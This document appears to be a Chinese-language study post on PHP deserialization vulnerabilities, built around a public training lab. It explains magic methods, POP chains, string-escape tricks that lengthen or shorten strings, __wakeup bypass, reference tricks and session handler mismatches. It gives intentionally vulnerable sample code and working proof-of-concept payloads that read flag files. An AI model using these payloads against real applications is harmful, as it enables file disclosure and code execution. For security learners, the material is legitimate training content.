本篇文章使用到的靶场环境为:GitHub - mcc0624/php_ser_Class: php反序列化靶场课程,基于课程制作的靶场
在此特意感谢b站陈腾老师的视频:PHP反序列化漏洞学习_哔哩哔哩_bilibili
正文如下
目录
类
类的结构
class Class_name{ //成员变量声明(属性) //成员函数声明(方法) }
类的内容
<?php highlight_file(__FILE__); class hero{ var $name; var $sex; function jineng($var1) { echo $this->name; echo $var1; } } ?>
实例化和赋值
$name= new class_name();
类的修饰符
常用访问权限修饰符: public:公共的,在类的内部、子类中或者类的外部都可以使用,不受限制; protected:受保护的,在类的内部、子类中可以使用,但不能在类的外部使用: private:私有的,只能在类的内部使用,在类的外部或者子类中都无法使用。
序列化
-
序列化只会序列化对象成员属性,不会序列化成员方法
私有属性序列化时会在前后加上00
<?php class class_name{ private $private_name='private_value'; function funtion_name(){ echo $this->private_name; } } $test=new class_name(); echo urlencode(serialize($test)); ?>
O%3A10%3A%22class_name%22%3A1%3A%7Bs%3A24%3A%22%00class_name%00private_name%22%3Bs%3A13%3A%22private_value%22%3B%7D
中的%00class_name%00
受保护的属性序列化时前会加上*0
<?php class class_name{ protected $private_name='private_value'; function funtion_name(){ echo $this->private_name; } } $test=new class_name(); echo serialize($test); ?>
O:10:"class_name":1:{s:15:" * private_name";s:13:"private_value";}
eval() 函数把字符串按照PHP 代码来计算。 该字符串必须是合法的PHP 代码,且必须以分号结尾
<?php class test{ public $a = 'echo "this is test!!";'; public function displayVar() { eval($this->a); } } $get = $_GET["benben"]; $b = unserialize($get); $b->displayVar() ; ?>
魔法函数
分类
__construct()
php中构造方法是对象创建完成后第一个被对象自动调用的方法。在每个类中都有一个构造方法,如果没有显示地声明它,那么类中都会默认存在一个没有参数且内容为空的构造方法。
__destruct()
析构方法允许在销毁一个类之前执行的一些操作或完成一些功能
__sleep()
serialize() 函数会检查类中是否存在一个魔术方法 __sleep()。如果存在,该方法会先被调用,然后才执行序列化操作
示例代码 <?php class Person { public $sex; public $name; public $age; public function __construct($name="", $age=25, $sex='男') { $this->name = $name; $this->age = $age; $this->sex = $sex; } /** * @return array */ public function __sleep() { echo "当在类外部使用serialize()时会调用这里的__sleep()方法<br>"; $this->name = base64_encode($this->name); return array('name', 'age'); // 这里必须返回一个数值,里边的元素表示返回的属性名称 } } $person = new Person('小明'); // 初始赋值 echo serialize($person); echo '<br/>';
__wakeup()
与__sleep()方法相反,
unserialize()
会检查是否存在一个__wakeup()
方法。如果存在,则会先调用__wakeup
方法,预先准备对象需要的资源。
示例代码 <?php class fast { public $source; public function __wakeup(){ echo "wakeup is here!!"; echo $this->source; } } class sec { var $benben; public function __toString(){ return "tostring is here!!"; } } $test=new fast(); $test->source=new sec(); echo serialize($test);
__toString()
__toString() 方法用于一个类被当成字符串时应怎样回应。例如
echo $obj;
应该显示些什么。
<?php class User { public function __toString() { return '格式不对,输出不了!'; } } $test = new User() ; echo $test;
__invoke()
当尝试以调用方法的方式调用一个对象时,__invoke() 方法会被自动调用。
示例代码 <?php class User { var $benben = "this is test!!"; public function __invoke() { echo '它不是个函数!'; } } $test = new User() ; echo $test()->benben;
__call()
在对象中调用一个不可访问方法时调用,该方法有两个参数,第一个参数
$function_name
会自动接收不存在的方法名,第二个$arguments
则以数组的方式接收不存在方法的多个参数。
示例代码 <?php class Person { function say() { echo "Hello, world!<br>"; } /** * 声明此方法用来处理调用对象中不存在的方法 */ function __call($funName, $arguments) { echo "你所调用的函数:" . $funName . "(参数:" ; // 输出调用不存在的方法名 print_r($arguments); // 输出调用不存在的方法时的参数列表 echo ")不存在!<br>\n"; // 结束换行 } } $Person = new Person(); $Person->run("teacher"); // 调用对象中不存在的方法,则自动调用了对象中的__call()方法 $Person->eat("小明", "苹果"); $Person->say();
运行结果 你所调用的函数:run(参数:Array ( [0] => teacher ) )不存在! 你所调用的函数:eat(参数:Array ( [0] => 小明 [1] => 苹果 ) )不存在! Hello, world!
__callStatic()
用静态方式中调用一个不可访问方法时调用
示例代码
__get()
类的成员属性被设定为
private
后,如果我们试图在外面调用它则会出现“不能访问某个私有属性”的错误。那么为了解决这个问题,我们可以使用魔术方法__get()
示例代码 <?php class Person { private $name; private $age; function __construct($name="", $age=1) { $this->name = $name; $this->age = $age; } /** * 在类中添加__get()方法,在直接获取属性值时自动调用一次,以属性名作为参数传入并处理 * @param $propertyName * * @return int */ public function __get($propertyName) { if ($propertyName == "age") { if ($this->age > 30) { return $this->age - 10; } else { return $this->$propertyName; } } else { return $this->$propertyName; } } } $Person = new Person("小明", 60); // 通过Person类实例化的对象,并通过构造方法为属性赋初值 echo "姓名:" . $Person->name . "<br>"; // 直接访问私有属性name,自动调用了__get()方法可以间接获取 echo "年龄:" . $Person->age . "<br>"; // 自动调用了__get()方法,根据对象本身的情况会返回不同的值
__set()
__set( $property, $value )` 方法用来设置私有属性, 给一个未定义的属性赋值时,此方法会被触发,传递的参数是被设置的属性名和值。
示例代码 <?php class Person { private $name; private $age; public function __construct($name="", $age=25) { $this->name = $name; $this->age = $age; } /** * 声明魔术方法需要两个参数,真接为私有属性赋值时自动调用,并可以屏蔽一些非法赋值 * @param $property * @param $value */ public function __set($property, $value) { if ($property=="age") { if ($value > 150 || $value < 0) { return; } } $this->$property = $value; } /** * 在类中声明说话的方法,将所有的私有属性说出 */ public function say(){ echo "我叫".$this->name.",今年".$this->age."岁了"; } } $Person=new Person("小明", 25); //注意,初始值将被下面所改变 //自动调用了__set()函数,将属性名name传给第一个参数,将属性值”李四”传给第二个参数 $Person->name = "小红"; //赋值成功。如果没有__set(),则出错。 //自动调用了__set()函数,将属性名age传给第一个参数,将属性值26传给第二个参数 $Person->age = 16; //赋值成功 $Person->age = 160; //160是一个非法值,赋值失效 $Person->say(); //输出:我叫小红,今年16岁了
__isset()
isset()
是测定变量是否设定用的函数,传入一个变量作为参数,如果传入的变量存在则传回true,否则传回false。
公有的成员属性可以使用该方法,但私有成员属性不可使用该方法。所以需要在类里面添加__isset()方法
当对不可访问属性调用 isset() 或 empty() 时,__isset() 会被调用
示例代码 <?php class Person { public $sex; private $name; private $age; public function __construct($name="", $age=25, $sex='男') { $this->name = $name; $this->age = $age; $this->sex = $sex; } /** * @param $content * * @return bool */ public function __isset($content) { echo "当在类外部使用isset()函数测定私有成员{$content}时,自动调用<br>"; echo isset($this->$content); } } $person = new Person("小明", 25); // 初始赋值 echo isset($person->sex),"<br>"; echo isset($person->name),"<br>"; echo isset($person->age),"<br>";
__unset()
unset()
这个函数的作用是删除指定的变量且传回true,参数为要删除的变量
1、 如果一个对象里面的成员属性是公有的,就可以使用这个函数在对象外面删除对象的公有属性。
2、 如果对象的成员属性是私有的,我使用这个函数就没有权限去删除。
但如果在类里添加了__unset()这个方法后,就可以在外部去删除对象的私有成员属性了
示例代码 <?php class Person { public $sex; private $name; private $age; public function __construct($name="", $age=25, $sex='男') { $this->name = $name; $this->age = $age; $this->sex = $sex; } /** * @param $content * * @return bool */ public function __unset($content) { echo "当在类外部使用unset()函数来删除私有成员时自动调用的<br>"; echo isset($this->$content); } } $person = new Person("小明", 25); // 初始赋值 unset($person->sex); unset($person->name); unset($person->age);
POP链构造
pop链:它通常涉及到构建一系列对象,其中每个对象都包含一个特定的方法,以便在反序列化时触发恶意代码执行。这个概念的目标是通过一系列的对象引用("pop" 操作)来达到执行远程恶意代码的目的
假设你有以下两个 PHP 类:
class ClassA { public $data; public function __construct($data) { $this->data = $data; } } class ClassB { public $target; public function __construct($target) { $this->target = $target; } }
构建一个 "pop链",当这个链被反序列化时,它会执行恶意代码。首先,你需要构建一系列的对象,将它们链接在一起:
$payload = new ClassA("Payload Data"); // 第一个对象 $payload = new ClassB($payload); // 第二个对象,链接到第一个对象
现在,你有一个对象链,其中 $payload
是最后一个对象,但它包含了前一个对象的引用。接下来,你需要将这个对象链序列化成一个字符串,以便将其传递给目标应用程序:
$serialized_payload = serialize($payload);
在目标应用程序中,当 $serialized_payload
被反序列化时,它将触发 ClassB
的构造函数,该构造函数又会触发 ClassA
的构造函数,从而执行恶意代码
POC编写
``例题代码`` <?php //flag is in flag.php highlight_file(__FILE__); error_reporting(0); class Modifier { private $var; public function append($value) { include($value); echo $flag; } public function __invoke(){ $this->append($this->var); } } class Show{ public $source; public $str; public function __toString(){ return $this->str->source; } public function __wakeup(){ echo $this->source; } } class Test{ public $p; public function __construct(){ $this->p = array(); } public function __get($key){ $function = $this->p; return $function(); } } if(isset($_GET['pop'])){ unserialize($_GET['pop']); } ?>
poc
<?php class Modifier { private $var='flag.php'; } class Show{ public $source; public $str; } class Test{ public $p; } $show=new Show; $show->str=new Test(); $show->source=$show; $show->str->p=new Modifier(); echo urlencode(serialize($show)) ?>
字符串减少逃逸
当字符串遇到减少替换时,就需要减少逃逸,比如php
替换为hk
,值得注意的是,减少逃逸为了使序列化后的字符串中的属性个数对,需要考虑多构建一个属性的序列化,比如
例题``http://127.0.0.1/php_ser_Class/class17/1.php`` <?php function filter($name){ $safe=array("flag","php"); $name=str_replace($safe,"hk",$name); return $name; } class test{ var $user; var $pass; var $vip = false ; function __construct($user,$pass){ $this->user=$user; $this->pass=$pass; } } $param=$_GET['user']; $pass=$_GET['pass']; $param=serialize(new test($param,$pass)); $profile=unserialize(filter($param)); if ($profile->vip){ echo file_get_contents("flag.php"); } ?>
如果我们只是单纯的满足字符串吃掉后该属性值的数值正确,而不考虑整体属性个数数值正确的,如针对上述的例题我们构建poc <?php function filter($name){ $safe=array("flag","php"); $name=str_replace($safe,"hk",$name); return $name; } class test{ var $user; var $pass; var $vip = false ; function __construct($user,$pass){ $this->user=$user; $this->pass=$pass; } } $param="phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp"; $pass=';s:3:"vip";b:1;}'; $param=serialize(new test($param,$pass)); $profile=unserialize(filter($param)); echo filter($param); echo $profile; if ($profile->vip){ echo 'a'; } ?> 其运行出的payload O:4:"test":3:{s:4:"user";s:54:"hkhkhkhkhkhkhkhkhkhkhkhkhkhkhkhkhkhk";s:4:"pass";s:16:";s:3:"vip";b:1;}";s:3:"vip";b:0;} 看似``s:54:"hkhkhkhkhkhkhkhkhkhkhkhkhkhkhkhkhkhk";s:4:"pass";s:16:";``构建成功,但忽略了``O:4:"test":3:`` 表示该对象含有三个属性,所以该poc不会运行成功
正确poc
<?php function filter($name){ $safe=array("flag","php"); $name=str_replace($safe,"hk",$name); return $name; } class test{ var $user; var $pass; var $vip = false ; function __construct($user,$pass){ $this->user=$user; $this->pass=$pass; } } $param="phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp"; $pass=';s:4:"pass";s:1:"a";s:3:"vip";b:1;}'; $param=serialize(new test($param,$pass)); $profile=unserialize(filter($param)); echo filter($param); echo $profile; if ($profile->vip){ echo 'a'; } ?> 构建出的payload O:4:"test":3:{s:4:"user";s:54:"hkhkhkhkhkhkhkhkhkhkhkhkhkhkhkhkhkhk";s:4:"pass";s:35:";s:4:"pass";s:1:"a";s:3:"vip";b:1;}";s:3:"vip";b:0;} 其中``s:3:"vip";b:1;``逃逸出
成功截图
字符串增多逃逸
当遇到字符替换变多时使用,如str_replace("php","hack",$name);
,该段代码将php替换为了hack,字符数变多。此处应使用增多逃逸
``例题代码`` <?php function filter($name){//向filter方法中传递can $safe=array("flag","php"); $name=str_replace($safe,"hack",$name);//将变量中的``flag``、``php``字符串替换为``hack`` return $name; } class test{ var $user; var $pass='daydream'; function __construct($user){ $this->user=$user; } } $param=$_GET['param'];//get请求传参数 $param=serialize(new test($param));//实例化了test对象,并且将该对象序列化,并把序列化结果重新赋值给变量param $profile=unserialize(filter($param));//使用filter方法处理变量param,将其中的字符串进行替换。 if ($profile->pass=='escaping'){ echo file_get_contents("flag.php"); }
poc
<?php function filter($name){//向filter方法中传递can $safe=array("flag","php"); $name=str_replace($safe,"hack",$name);//将变量中的``flag``、``php``字符串替换为``hack`` return $name; } class test{ var $user; var $pass='daydream'; function __construct($user){ $this->user=$user; } } $param='phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:4:"pass";s:8:"escaping";}';//get请求传参数 $param=serialize(new test($param));//实例化了test对象,并且将该对象序列化,并把序列化结果重新赋值给变量param $profile=unserialize(filter($param));//使用filter方法处理变量param,将其中的字符串进行替换。 var_dump($profile); echo serialize($profile); if ($profile->pass=='escaping'){ echo "a"; } payload:``?param=phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:4:"pass";s:8:"escaping";}``
运行结果
class test#1 (2) { public $user => string(116) "hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack" public $pass => string(8) "escaping" }
当php被hack替换后字符会加一,我们需要使;s:4:"pass";s:8:"escaping";
字符串逃逸出来,该字符串长度为29,所以我们需要29个php进行构造。最好将payload进行url编码,以便于稳定传输
绕过__wakeup()
当序列化字符串中表示对象属性个数的值大于真实属性个数时,会跳过该方法的执行
``例题代码`` <?php class secret{ var $file='index.php'; public function __construct($file){ $this->file=$file; } function __destruct(){ include_once($this->file); echo $flag; } function __wakeup(){ $this->file='index.php'; } } $cmd=$_GET['cmd']; if (!isset($cmd)){ highlight_file(__FILE__); } else{ if (preg_match('/[oc]:\d+:/i',$cmd)){ echo "Are you daydreaming?"; } else{ unserialize($cmd); } } //sercet in flag.php ?>
poc
<?php class secret{ var $file='flag.php'; } echo serialize(new secret()); ?>
引用
处理当只有两值相等才可以执行情况
``例题代码`` <?php include("flag.php"); class just4fun { var $enter; var $secret; } if (isset($_GET['pass'])) { $pass = $_GET['pass']; $pass=str_replace('*','\*',$pass); } $o = unserialize($pass); if ($o) { $o->secret = "*"; if ($o->secret === $o->enter) echo "Congratulation! Here is my secret: ".$flag; else echo "Oh no... You can't fool me"; } else echo "are you trolling?"; ?>
其中if ($o->secret === $o->enter)
代码为只有当secret
和enter
变量的值相等时,才会执行成功
但序列化字符串中不能包含*
字符,因为会在str_replace('*','\*',$pass);
语句中被替换。所以我们使用引用来处理
<?php class just4fun { var $enter; var $secret; } $test=new just4fun(); $test ->enter=&$test->secret; echo serialize($test);
其中$test ->enter=&$test->secret;
将 $test
对象的 $enter
属性设置为引用 $test
对象的 $secret
属性。这意味着 $test->enter
和 $test->secret
现在指向同一个数据
所以enter
和secret
永远相等
session反序列化
当session_start()
被调用或者php.ini
文件中session.auto_start
值为1时,访问用户的session被序列化后会存储到指定目录
linux:默认存储到/tmp目录下
windows:默认存储到c:/user/用户名/appdata/temp
漏洞产生:写入格式和读取格式不一致
处理器 | 对应存储格式 |
---|---|
php | benben|s:4:"test";(键名+竖线+经过serialize0函数序列化处理的值) |
php_serialize 注:php版本大于5.5.4 | a:2:{s:6:"benben";s:4:"test";s:1:"b";s:4:"demo";}(经过serialize0函数序列化处理的数组) |
php_binary | 键名的长度对应的ASCI字符+键名+经过serialize0函数反序列处理的 |